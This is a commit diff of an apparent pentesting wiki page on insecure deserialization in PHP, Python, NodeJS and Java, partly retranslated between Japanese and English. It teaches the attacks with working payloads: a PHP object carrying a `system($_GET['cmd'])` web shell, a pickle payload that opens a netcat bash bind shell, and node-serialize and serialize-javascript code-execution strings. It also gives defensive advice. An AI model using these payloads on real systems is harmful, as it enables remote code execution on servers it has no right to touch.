mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/README.md', 'src/pentest
This commit is contained in:
parent
29356502b6
commit
f3287bab4b
@ -622,6 +622,7 @@
|
||||
- [Java JSF ViewState (.faces) Deserialization](pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md)
|
||||
- [Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner](pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md)
|
||||
- [Basic Java Deserialization (ObjectInputStream, readObject)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md)
|
||||
- [Java Signedobject Gated Deserialization](pentesting-web/deserialization/java-signedobject-gated-deserialization.md)
|
||||
- [PHP - Deserialization + Autoload Classes](pentesting-web/deserialization/php-deserialization-+-autoload-classes.md)
|
||||
- [CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep](pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md)
|
||||
- [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)](pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)
|
||||
|
@ -1,24 +1,24 @@
|
||||
# デシリアライズ
|
||||
# Deserialization
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本情報
|
||||
|
||||
**シリアライズ**は、オブジェクトを保存可能な形式に変換する方法として理解されており、オブジェクトを保存するか、通信プロセスの一部として送信する意図があります。この技術は、オブジェクトが後で再作成できるように、その構造と状態を維持するために一般的に使用されます。
|
||||
**Serialization** は、オブジェクトを保存可能な形式に変換する方法を指し、オブジェクトを格納したり通信の一部として送信することを目的としています。この手法は、後でオブジェクトの構造や状態を維持したまま再作成できるようにするために一般的に利用されます。
|
||||
|
||||
**デシリアライズ**は、逆にシリアライズに対抗するプロセスです。特定の形式で構造化されたデータを取り、それをオブジェクトに再構築することを含みます。
|
||||
**Deserialization** は逆に serialization を元に戻す処理で、特定の形式で構造化されたデータを受け取り、それをオブジェクトに再構築します。
|
||||
|
||||
デシリアライズは危険である可能性があります。なぜなら、**攻撃者がシリアライズされたデータを操作して有害なコードを実行させたり、オブジェクト再構築プロセス中にアプリケーションに予期しない動作を引き起こすことを許す可能性があるからです**。
|
||||
Deserialization は危険になり得ます。なぜなら、オブジェクト再構築の過程で攻撃者が serialized データを操作し、悪意のあるコードを実行させたりアプリケーションに予期しない挙動を引き起こしたりする可能性があるためです。
|
||||
|
||||
## PHP
|
||||
|
||||
PHPでは、シリアライズおよびデシリアライズプロセス中に特定のマジックメソッドが利用されます:
|
||||
In PHP、serialization および deserialization の過程で特定のマジックメソッドが利用されます:
|
||||
|
||||
- `__sleep`: オブジェクトがシリアライズされるときに呼び出されます。このメソッドは、シリアライズされるべきオブジェクトのすべてのプロパティの名前の配列を返す必要があります。保留中のデータをコミットしたり、同様のクリーンアップタスクを実行するために一般的に使用されます。
|
||||
- `__wakeup`: オブジェクトがデシリアライズされるときに呼び出されます。シリアライズ中に失われた可能性のあるデータベース接続を再確立し、他の再初期化タスクを実行するために使用されます。
|
||||
- `__unserialize`: オブジェクトがデシリアライズされるときに、`__wakeup`の代わりに呼び出されるメソッドです。`__wakeup`に比べてデシリアライズプロセスに対する制御が強化されます。
|
||||
- `__destruct`: オブジェクトが破棄される直前またはスクリプトが終了するときに呼び出されるメソッドです。ファイルハンドルやデータベース接続を閉じるなどのクリーンアップタスクに一般的に使用されます。
|
||||
- `__toString`: このメソッドは、オブジェクトを文字列として扱うことを可能にします。ファイルを読み取るためや、その中の関数呼び出しに基づく他のタスクに使用でき、オブジェクトのテキスト表現を効果的に提供します。
|
||||
- `__sleep`: オブジェクトが serialized される際に呼び出されます。このメソッドは、serialized すべきオブジェクトのプロパティ名の配列を返す必要があります。保留中のデータを確定したり、類似のクリーンアップ処理を行うために一般的に使われます。
|
||||
- `__wakeup`: オブジェクトが deserialized される際に呼び出されます。serialization の間に失われた可能性のあるデータベース接続を再確立したり、その他の再初期化処理を行うために使用されます。
|
||||
- `__unserialize`: オブジェクトが deserialized される際に、`__wakeup` が存在する場合でも代わりに呼び出されます。`__wakeup` と比べて deserialization 処理をより細かく制御できます。
|
||||
- `__destruct`: オブジェクトが破棄される直前やスクリプト終了時に呼び出されます。通常はファイルハンドルやデータベース接続のクローズなどのクリーンアップに使用されます。
|
||||
- `__toString`: オブジェクトを文字列として扱えるようにするメソッドです。内部の関数呼び出しに基づいてファイルの読み取りなどに利用でき、オブジェクトのテキスト表現を提供します。
|
||||
```php
|
||||
<?php
|
||||
class test {
|
||||
@ -74,10 +74,10 @@ This is a test<br />
|
||||
*/
|
||||
?>
|
||||
```
|
||||
結果を見ると、オブジェクトがデシリアライズされるときに関数 **`__wakeup`** と **`__destruct`** が呼び出されることがわかります。いくつかのチュートリアルでは、属性を印刷しようとすると **`__toString`** 関数が呼び出されるとされていますが、どうやらそれは **もう起こっていない** ようです。
|
||||
If you look to the results you can see that the functions **`__wakeup`** and **`__destruct`** are called when the object is deserialized. Note that in several tutorials you will find that the **`__toString`** function is called when trying yo print some attribute, but apparently that's **not happening anymore**.
|
||||
|
||||
> [!WARNING]
|
||||
> メソッド **`__unserialize(array $data)`** は、クラスに実装されている場合、**`__wakeup()`** の代わりに呼び出されます。これにより、シリアライズされたデータを配列として提供することでオブジェクトをデシリアライズできます。このメソッドを使用してプロパティをデシリアライズし、デシリアライズ時に必要なタスクを実行できます。
|
||||
> The method **`__unserialize(array $data)`** is called **instead of `__wakeup()`** if it is implemented in the class. It allows you to unserialize the object by providing the serialized data as an array. You can use this method to unserialize properties and perform any necessary tasks upon deserialization.
|
||||
>
|
||||
> ```php
|
||||
> class MyClass {
|
||||
@ -85,16 +85,16 @@ This is a test<br />
|
||||
>
|
||||
> public function __unserialize(array $data): void {
|
||||
> $this->property = $data['property'];
|
||||
> // デシリアライズ時に必要なタスクを実行します。
|
||||
> // Perform any necessary tasks upon deserialization.
|
||||
> }
|
||||
> }
|
||||
> ```
|
||||
|
||||
説明された **PHPの例をこちらで読むことができます**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/)、こちら [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) またはこちら [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
説明付きの **PHP の例** は次を参照してください: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/)、こちら: [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) またはこちら: [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
|
||||
### PHP Deserial + Autoload Classes
|
||||
|
||||
PHPのオートロード機能を悪用して、任意のPHPファイルをロードすることができます:
|
||||
PHP の autoload 機能を悪用して任意の php ファイルなどを読み込ませることができます:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -103,7 +103,7 @@ php-deserialization-+-autoload-classes.md
|
||||
|
||||
### 参照値のシリアライズ
|
||||
|
||||
何らかの理由で、**別のシリアライズされた値への参照**として値をシリアライズしたい場合は、次のようにできます:
|
||||
何らかの理由で値を **別のシリアライズされた値への参照としてシリアライズ** したい場合は、次のようにできます:
|
||||
```php
|
||||
<?php
|
||||
class AClass {
|
||||
@ -116,12 +116,12 @@ $o->param1 =& $o->param22;
|
||||
$o->param = "PARAM";
|
||||
$ser=serialize($o);
|
||||
```
|
||||
### `allowed_classes`を使用したPHPオブジェクトインジェクションの防止
|
||||
### `allowed_classes` を使った PHP Object Injection の防止
|
||||
|
||||
> [!INFO]
|
||||
> **PHP 7.0**で`unserialize()`の**第2引数**(`$options`配列)のサポートが追加されました。古いバージョンでは、関数はシリアライズされた文字列のみを受け入れ、どのクラスがインスタンス化されるかを制限することが不可能です。
|
||||
> `unserialize()` の **第2引数**(`$options` 配列)への対応は **PHP 7.0** で追加されました。古いバージョンでは関数はシリアライズされた文字列のみを受け取り、どのクラスがインスタンス化されるかを制限することが不可能になります。
|
||||
|
||||
`unserialize()`は、特に指示がない限り、シリアライズされたストリーム内で見つかった**すべてのクラス**を**インスタンス化**します。PHP 7以降、この動作は[`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php)オプションで制限できます:
|
||||
`unserialize()` は、明示的に指示しない限り、シリアライズされたストリーム内で見つけた **すべてのクラスをインスタンス化します**。PHP 7 以降では、[`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) オプションで挙動を制限できます:
|
||||
```php
|
||||
// NEVER DO THIS – full object instantiation
|
||||
$object = unserialize($userControlledData);
|
||||
@ -136,11 +136,11 @@ $object = unserialize($userControlledData, [
|
||||
'allowed_classes' => [MyModel::class, DateTime::class]
|
||||
]);
|
||||
```
|
||||
もし**`allowed_classes`が省略されるか、コードがPHP < 7.0で実行される**場合、攻撃者が`__wakeup()`や`__destruct()`などのマジックメソッドを悪用するペイロードを作成できるため、呼び出しは**危険**になります。
|
||||
もし **`allowed_classes` が省略されている _または_ コードが PHP < 7.0 上で実行されている** 場合、この呼び出しは **危険** になります。攻撃者は `__wakeup()` や `__destruct()` といったマジックメソッドを悪用するペイロードを作成し、Remote Code Execution (RCE) を達成できます。
|
||||
|
||||
#### 実世界の例: Everest Forms (WordPress) CVE-2025-52709
|
||||
#### 実例: Everest Forms (WordPress) CVE-2025-52709
|
||||
|
||||
WordPressプラグイン**Everest Forms ≤ 3.2.2**は、ヘルパーラッパーで防御的になろうとしましたが、レガシーPHPバージョンを忘れていました:
|
||||
WordPress プラグイン **Everest Forms ≤ 3.2.2** はヘルパー・ラッパーで防御しようとしたものの、レガシーな PHP バージョンを考慮していませんでした:
|
||||
```php
|
||||
function evf_maybe_unserialize($data, $options = array()) {
|
||||
if (is_serialized($data)) {
|
||||
@ -155,29 +155,30 @@ return @unserialize(trim($data));
|
||||
return $data;
|
||||
}
|
||||
```
|
||||
**PHP ≤ 7.0** をまだ実行しているサーバーでは、この2番目の分岐が管理者が悪意のあるフォーム送信を開いたときに古典的な **PHP Object Injection** に至りました。最小限のエクスプロイトペイロードは次のようになります:
|
||||
まだ **PHP ≤ 7.0** を実行しているサーバでは、この2番目の分岐は管理者が悪意のあるフォーム送信を開いたときに古典的な **PHP Object Injection** を引き起こしました。最小限の exploit payload は次のようになる:
|
||||
```
|
||||
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
|
||||
```
|
||||
管理者がエントリを表示すると、オブジェクトがインスタンス化され、`SomeClass::__destruct()`が実行され、任意のコードが実行されました。
|
||||
管理者がエントリを閲覧した瞬間、そのオブジェクトがインスタンス化され、`SomeClass::__destruct()` が実行され、任意のコード実行が発生しました。
|
||||
|
||||
**ポイント**
|
||||
1. `unserialize()`を呼び出す際は、常に`['allowed_classes' => false]`(または厳密なホワイトリスト)を渡してください。
|
||||
2. 防御ラッパーを監査してください – それらはしばしばレガシーPHPブランチを忘れがちです。
|
||||
3. **PHP ≥ 7.x** へのアップグレードだけでは*不十分*です:オプションは明示的に指定する必要があります。
|
||||
**要点**
|
||||
1. `unserialize()` を呼ぶときは常に `['allowed_classes' => false]`(または厳格なホワイトリスト)を渡してください。
|
||||
2. 防御用ラッパーを監査してください — レガシーな PHP ブランチを見落としがちです。
|
||||
3. 単に **PHP ≥ 7.x** にアップグレードするだけでは *十分ではありません*:そのオプションは明示的に指定する必要があります。
|
||||
|
||||
---
|
||||
|
||||
### PHPGGC (PHP用のysoserial)
|
||||
### PHPGGC (ysoserial for PHP)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc)は、PHPのデシリアライズを悪用するためのペイロードを生成するのに役立ちます。\
|
||||
アプリケーションのソースコード内でデシリアライズを悪用する方法が見つからない場合もありますが、**外部PHP拡張のコードを悪用できる可能性があります。**\
|
||||
したがって、可能であれば、サーバーの`phpinfo()`を確認し、**インターネットで検索**(さらには**PHPGGCのガジェット**も)して、悪用できる可能性のあるガジェットを探してください。
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) は、PHP のデシリアライズを悪用するペイロードを生成するのに役立ちます。\
|
||||
ただし、いくつかのケースではアプリケーションのソースコード内でデシリアライズを悪用する方法を**見つけられない**ことがあり、外部の PHP 拡張のコードを**悪用できる**場合があります。\
|
||||
可能ならサーバの `phpinfo()` を確認し、**インターネットで検索**(さらには **PHPGGC** の **gadgets** も含めて)して、悪用可能な gadget を探してください。
|
||||
|
||||
### phar:// メタデータデシリアライズ
|
||||
### phar:// metadata deserialization
|
||||
|
||||
もしファイルを読み取るだけで内部の PHP コードを実行しない LFI を見つけた場合、例えば _**file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**_**.** のような関数を利用している場合、**phar** プロトコルを使って**ファイル**を**読み込む**際に発生する **deserialization** を悪用してみてください。\
|
||||
詳細は以下の投稿を参照してください:
|
||||
|
||||
ファイルを読み取るだけでPHPコードを実行しないLFIを見つけた場合、例えば、_**file_get_contents(), fopen(), file() または file_exists(), md5_file(), filemtime() または filesize()**_**のような関数を使用している場合、**phar**プロトコルを使用して**ファイル**を**読み取る**際に発生する**デシリアライズ**を悪用しようとすることができます。\
|
||||
詳細については、以下の投稿をお読みください:
|
||||
|
||||
{{#ref}}
|
||||
../file-inclusion/phar-deserialization.md
|
||||
@ -187,8 +188,8 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
|
||||
|
||||
### **Pickle**
|
||||
|
||||
オブジェクトがアンピクルされると、関数\_\_\_reduce\_\_\_が実行されます。\
|
||||
悪用されると、サーバーはエラーを返す可能性があります。
|
||||
オブジェクトが unpickle されると、関数 \_\_\_reduce\_\_\_ が実行されます。\
|
||||
悪用された場合、サーバはエラーを返す可能性があります。
|
||||
```python
|
||||
import pickle, os, base64
|
||||
class P(object):
|
||||
@ -196,9 +197,10 @@ def __reduce__(self):
|
||||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||||
print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
以下のバイパステクニックを確認する前に、`print(base64.b64encode(pickle.dumps(P(),2)))`を使用して、python3を実行している場合にpython2と互換性のあるオブジェクトを生成してください。
|
||||
Before checking the bypass technique, try using `print(base64.b64encode(pickle.dumps(P(),2)))` to generate an object that is compatible with python2 if you're running python3.
|
||||
|
||||
For more information about escaping from **pickle jails** check:
|
||||
|
||||
**pickle jails**からの脱出に関する詳細情報は次を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -206,13 +208,15 @@ print(base64.b64encode(pickle.dumps(P())))
|
||||
|
||||
### Yaml **&** jsonpickle
|
||||
|
||||
次のページでは、**yamls**のpythonライブラリにおける**安全でないデシリアライズの悪用**のテクニックを紹介し、**Pickle, PyYAML, jsonpickle, ruamel.yaml**のためのRCEデシリアライズペイロードを生成するために使用できるツールで締めくくります:
|
||||
以下のページでは、YAMLのPythonライブラリにおける unsafe deserialization を悪用する手法を示し、Pickle、PyYAML、jsonpickle、ruamel.yaml 用の RCE deserialization ペイロードを生成するツールで締めくくっています:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
python-yaml-deserialization.md
|
||||
{{#endref}}
|
||||
|
||||
### クラス汚染 (Python プロトタイプ汚染)
|
||||
### Class Pollution (Python Prototype Pollution)
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
|
||||
@ -220,12 +224,12 @@ python-yaml-deserialization.md
|
||||
|
||||
## NodeJS
|
||||
|
||||
### JS マジック関数
|
||||
### JS Magic Functions
|
||||
|
||||
JSは、オブジェクトを作成するためだけに実行される**"マジック"関数**を持っていませんが、**`toString`**、**`valueOf`**、**`toJSON`**のように、**直接呼び出さなくても頻繁に使用される**いくつかの**関数**があります。\
|
||||
デシリアライズを悪用する場合、これらの関数を**妥協して他のコードを実行**することができれば、呼び出されたときに任意のコードを実行することができます。
|
||||
JS **doesn't have "magic" functions** like PHP or Python that are going to be executed just for creating an object. But it has some **functions** that are **frequently used even without directly calling them** such as **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
デシリアライズを悪用してこれらの関数を改竄し別のコードを実行させられる(potentially abusing prototype pollutions)と、呼び出された際に任意のコードを実行できます。
|
||||
|
||||
関数を直接呼び出さずに**"マジック"な方法**で呼び出すもう一つの方法は、**非同期関数**(プロミス)によって返されるオブジェクトを**妥協する**ことです。なぜなら、その**返されるオブジェクト**を**"then"という関数型のプロパティ**を持つ別の**プロミス**に**変換**すると、別のプロミスによって返されるだけで**実行される**からです。_詳細については_ [_**このリンク**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _を参照してください。_
|
||||
Another **"magic" way to call a function** without calling it directly is by **compromising an object that is returned by an async function** (promise). Because, if you **transform** that **return object** in another **promise** with a **property** called **"then" of type function**, it will be **executed** just because it's returned by another promise. _Follow_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _for more info._
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
@ -249,9 +253,9 @@ test_ressolve()
|
||||
test_then()
|
||||
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
|
||||
```
|
||||
### `__proto__` と `prototype` の汚染
|
||||
### `__proto__` と `prototype` pollution
|
||||
|
||||
この技術について学びたい場合は、**次のチュートリアルを参照してください**:
|
||||
この手法について学びたい場合は、**以下のチュートリアルを参照してください**:
|
||||
|
||||
{{#ref}}
|
||||
nodejs-proto-prototype-pollution/
|
||||
@ -259,7 +263,7 @@ nodejs-proto-prototype-pollution/
|
||||
|
||||
### [node-serialize](https://www.npmjs.com/package/node-serialize)
|
||||
|
||||
このライブラリは関数をシリアライズすることを可能にします。例:
|
||||
このライブラリは関数をシリアライズできます。例:
|
||||
```javascript
|
||||
var y = {
|
||||
rce: function () {
|
||||
@ -272,23 +276,23 @@ var serialize = require("node-serialize")
|
||||
var payload_serialized = serialize.serialize(y)
|
||||
console.log("Serialized: \n" + payload_serialized)
|
||||
```
|
||||
**シリアライズされたオブジェクト**は次のようになります:
|
||||
**シリアライズされたオブジェクト** は次のようになります:
|
||||
```bash
|
||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||||
```
|
||||
関数がシリアライズされると、`_$$ND_FUNC$$_` フラグがシリアライズされたオブジェクトに追加されることが例で示されています。
|
||||
この例では、関数が serialized されると `_$$ND_FUNC$$_` フラグが serialized オブジェクトに追加されるのが確認できます。
|
||||
|
||||
ファイル `node-serialize/lib/serialize.js` 内で、同じフラグとそのコードの使用方法を見つけることができます。
|
||||
ファイル `node-serialize/lib/serialize.js` の中で同じフラグとコードがそれをどのように使っているかを見つけられます。
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
最後のコードのチャンクで見られるように、**フラグが見つかった場合**、`eval` が関数をデシリアライズするために使用されるので、基本的に **ユーザー入力が `eval` 関数内で使用されています**。
|
||||
最後のコードブロックを見ると、**フラグが見つかった場合** `eval` が関数を deserialize するために使われており、基本的に **user input が `eval` 関数内で使われている** ことになります。
|
||||
|
||||
しかし、**関数をシリアライズするだけでは**、それを**実行することはありません**。なぜなら、コードの一部が**`y.rce`を呼び出す必要がある**からで、これは非常に**ありそうにありません**。\
|
||||
それでも、**シリアライズされたオブジェクトを修正して**、**いくつかの括弧を追加する**ことで、オブジェクトがデシリアライズされるときにシリアライズされた関数を自動的に実行させることができます。\
|
||||
次のコードのチャンクで、**最後の括弧**と`unserialize`関数がどのように自動的にコードを実行するかに注意してください:
|
||||
しかし、**just serialising** a function **won't execute it**。実際にはコードのどこかが **`y.rce` を呼び出す** 必要があり、これは非常に **起こりにくい** です。\
|
||||
とにかく、オブジェクトが deserialized されるときに関数を自動実行させるために、単に **modify the serialised object** して **adding some parenthesis** を行えばよいのです。\
|
||||
次のコードブロックでは、**最後の parenthesis に注目**し、`unserialize` 関数がどのようにコードを自動実行するかを確認してください:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test = {
|
||||
@ -296,20 +300,20 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
|
||||
}
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
以前に示したように、このライブラリは`_$$ND_FUNC$$_`の後のコードを取得し、**実行します** `eval`を使用して。したがって、**コードを自動実行する**には、**関数の作成**部分と最後の括弧を**削除し**、次の例のように**JSのワンライナーを実行する**ことができます:
|
||||
前述のとおり、このライブラリは`_$$ND_FUNC$$_`の後のコードを取得し、`eval`を使って**実行します**。したがって、コードを**自動実行**するには、関数作成部分と最後の括弧を**削除**して、次の例のように**JS onelinerを実行するだけ**です:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test =
|
||||
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
ここで[**詳細情報**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)を見つけることができます。この脆弱性を悪用する方法について。
|
||||
You can [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **further information** about how to exploit this vulnerability.
|
||||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
**funcster**の注目すべき点は、**標準の組み込みオブジェクト**へのアクセスができないことです。これらはアクセス可能なスコープの外にあります。この制限により、組み込みオブジェクトのメソッドを呼び出そうとするコードの実行が妨げられ、`console.log()`や`require(something)`のようなコマンドを使用すると、`"ReferenceError: console is not defined"`のような例外が発生します。
|
||||
**funcster** の注目すべき点は、**標準の組み込みオブジェクト(standard built-in objects)**がアクセス可能なスコープの外にあることです。これにより、組み込みオブジェクトのメソッドを呼び出そうとするコードの実行が阻止され、`console.log()` や `require(something)` のようなコマンドを使用した際に "ReferenceError: console is not defined" のような例外が発生します。
|
||||
|
||||
この制限にもかかわらず、特定のアプローチを通じて、すべての標準の組み込みオブジェクトを含むグローバルコンテキストへの完全なアクセスを復元することが可能です。グローバルコンテキストを直接利用することで、この制限を回避できます。たとえば、次のスニペットを使用してアクセスを再確立できます:
|
||||
この制限があるものの、特定の手法により全ての標準組み込みオブジェクトを含むグローバルコンテキストへの完全なアクセスを回復することが可能です。グローバルコンテキストを直接利用することでこの制限を回避できます。例えば、次のスニペットを使ってアクセスを再確立できます:
|
||||
```javascript
|
||||
funcster = require("funcster")
|
||||
//Serialization
|
||||
@ -331,17 +335,17 @@ __js_function:
|
||||
}
|
||||
funcster.deepDeserialize(desertest3)
|
||||
```
|
||||
**詳細については、[このソースを読む](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**。
|
||||
**詳しくは**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
**serialize-javascript** パッケージは、シリアル化専用に設計されており、組み込みのデシリアル化機能はありません。ユーザーはデシリアル化のための独自のメソッドを実装する責任があります。公式の例では、シリアル化されたデータをデシリアル化するために `eval` の直接使用が推奨されています:
|
||||
The **serialize-javascript** パッケージはシリアライズ専用に設計されており、組み込みのデシリアライズ機能を持ちません。ユーザーはデシリアライズの方法を自分で実装する必要があります。公式の例では、シリアライズされたデータをデシリアライズするために直接 `eval` を使用することが示されています:
|
||||
```javascript
|
||||
function deserialize(serializedJavascript) {
|
||||
return eval("(" + serializedJavascript + ")")
|
||||
}
|
||||
```
|
||||
この関数がオブジェクトをデシリアライズするために使用される場合、あなたは**簡単にそれを悪用できます**:
|
||||
この関数がオブジェクトをdeserializeするために使用されている場合、**簡単にそれを exploit できる**:
|
||||
```javascript
|
||||
var serialize = require("serialize-javascript")
|
||||
//Serialization
|
||||
@ -355,53 +359,65 @@ var test =
|
||||
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
||||
deserialize(test)
|
||||
```
|
||||
**詳細についてはこのソースを参照してください**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### Cryoライブラリ
|
||||
### Cryo library
|
||||
|
||||
以下のページでは、このライブラリを悪用して任意のコマンドを実行する方法に関する情報を見つけることができます:
|
||||
In the following pages you can find information about how to abuse this library to execute arbitrary commands:
|
||||
|
||||
- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
|
||||
- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
|
||||
|
||||
## Java - HTTP
|
||||
|
||||
Javaでは、**デシリアライズコールバックはデシリアライズプロセス中に実行されます**。この実行は、これらのコールバックをトリガーする悪意のあるペイロードを作成する攻撃者によって悪用される可能性があり、有害なアクションの実行につながることがあります。
|
||||
Javaでは、**deserialization callbacks are executed during the process of deserialization**。この実行は、悪意のあるpayloadsを作成してこれらのcallbacksをトリガーする攻撃者によって悪用され、望ましくない操作が実行される可能性があります。
|
||||
|
||||
### フィンガープリント
|
||||
### Fingerprints
|
||||
|
||||
#### ホワイトボックス
|
||||
#### White Box
|
||||
|
||||
コードベース内の潜在的なシリアライズ脆弱性を特定するには、次のものを検索してください:
|
||||
コードベースで潜在的なserializationの脆弱性を特定するには、次を検索してください:
|
||||
|
||||
- `Serializable`インターフェースを実装しているクラス。
|
||||
- `java.io.ObjectInputStream`、`readObject`、`readUnshare`関数の使用。
|
||||
- `Serializable` インターフェースを実装しているクラス
|
||||
- `java.io.ObjectInputStream`、`readObject`、`readUnshare` の使用
|
||||
|
||||
特に注意を払うべき点:
|
||||
特に注意する点:
|
||||
|
||||
- 外部ユーザーによって定義されたパラメータで使用される`XMLDecoder`。
|
||||
- `XStream`の`fromXML`メソッド、特にXStreamのバージョンが1.46以下の場合、シリアライズの問題に対して脆弱です。
|
||||
- `readObject`メソッドと組み合わされた`ObjectInputStream`。
|
||||
- `readObject`、`readObjectNodData`、`readResolve`、または`readExternal`などのメソッドの実装。
|
||||
- `ObjectInputStream.readUnshared`。
|
||||
- `Serializable`の一般的な使用。
|
||||
- 外部ユーザによって定義されるパラメータで利用される `XMLDecoder`
|
||||
- XStream の `fromXML` メソッド(特に XStream のバージョンが 1.46 以下の場合、serialization の問題に弱い可能性があります)
|
||||
- `ObjectInputStream` と `readObject` の組み合わせ
|
||||
- `readObject`、`readObjectNodData`、`readResolve`、または `readExternal` といったメソッドの実装
|
||||
- `ObjectInputStream.readUnshared`
|
||||
- `Serializable` の一般的な使用
|
||||
|
||||
#### ブラックボックス
|
||||
#### Black Box
|
||||
|
||||
ブラックボックステストでは、javaシリアライズオブジェクトを示す特定の**シグネチャまたは「マジックバイト」**を探してください(`ObjectInputStream`から発生):
|
||||
black box テストでは、`ObjectInputStream` に由来する java serialized objects を示す特定の **signatures or "Magic Bytes"** を探してください:
|
||||
|
||||
- 16進パターン:`AC ED 00 05`。
|
||||
- Base64パターン:`rO0`。
|
||||
- `Content-type`が`application/x-java-serialized-object`に設定されたHTTPレスポンスヘッダー。
|
||||
- 以前の圧縮を示す16進パターン:`1F 8B 08 00`。
|
||||
- 以前の圧縮を示すBase64パターン:`H4sIA`。
|
||||
- `.faces`拡張子を持つWebファイルと`faces.ViewState`パラメータ。これらのパターンをWebアプリケーションで発見した場合、[Java JSF ViewState Deserializationに関する投稿](java-jsf-viewstate-.faces-deserialization.md)に詳述されているように調査を促すべきです。
|
||||
- 16進パターン: `AC ED 00 05`
|
||||
- Base64 パターン: `rO0`
|
||||
- HTTP レスポンスヘッダで `Content-type` が `application/x-java-serialized-object` に設定されている
|
||||
- 圧縮済みであることを示す16進パターン: `1F 8B 08 00`
|
||||
- 圧縮済みであることを示す Base64 パターン: `H4sIA`
|
||||
- 拡張子が `.faces` の Web ファイルや `faces.ViewState` パラメータ
|
||||
|
||||
これらのパターンを Web アプリケーションで発見した場合は、[post about Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md) に詳述されているように検査を行ってください。
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
### 脆弱性の確認
|
||||
### 脆弱性の有無を確認
|
||||
|
||||
**Javaのデシリアライズ攻撃がどのように機能するかを学びたい**場合は、[**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md)、[**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md)、および[**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md)を確認してください。
|
||||
